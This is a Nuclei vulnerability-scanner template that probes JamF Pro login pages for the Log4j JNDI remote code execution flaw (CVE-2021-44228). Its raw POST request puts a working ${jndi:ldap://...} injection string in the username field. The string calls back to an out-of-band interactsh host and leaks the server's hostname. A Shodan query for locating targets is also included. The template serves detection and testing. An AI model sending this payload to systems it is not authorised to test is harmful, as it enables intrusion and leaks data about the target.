jamf-pro-log4j-rce: JamF Pro - Remote Code Execution (Apache Log4j)

id: jamf-pro-log4j-rce

info:
  name: JamF Pro - Remote Code Execution (Apache Log4j)
  author: DhiyaneshDK,pdteam
  severity: critical
  description: |
    JamF is susceptible to Lof4j JNDI remote code execution. JamF is the industry standard when it comes to the management of iOS devices (iPhones and iPads), macOS computers (MacBooks, iMacs, etc.), and tvOS devices (Apple TV).
  reference:
    - https://github.com/random-robbie/jamf-log4j
    - https://docs.jamf.com/technical-articles/Mitigating_the_Apache_Log4j_2_Vulnerability.html
    - https://community.connection.com/what-is-jamf/
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Jamf Pro"
  tags: cve,cve2021,rce,jndi,log4j,jamf,oast,kev,vuln
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded

        username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/test}&password=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>Jamf Pro Login</title>"

      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 490a0046304402206b574bcd74200b16378c5847fe2915519cb405821f681c7bec839df258368bd302207cb6ba36721be6c63ba8573061d96bd2dc2e1a0e859a2622746241c87e33ab41:922c64590222798bb761d5b6d8e72950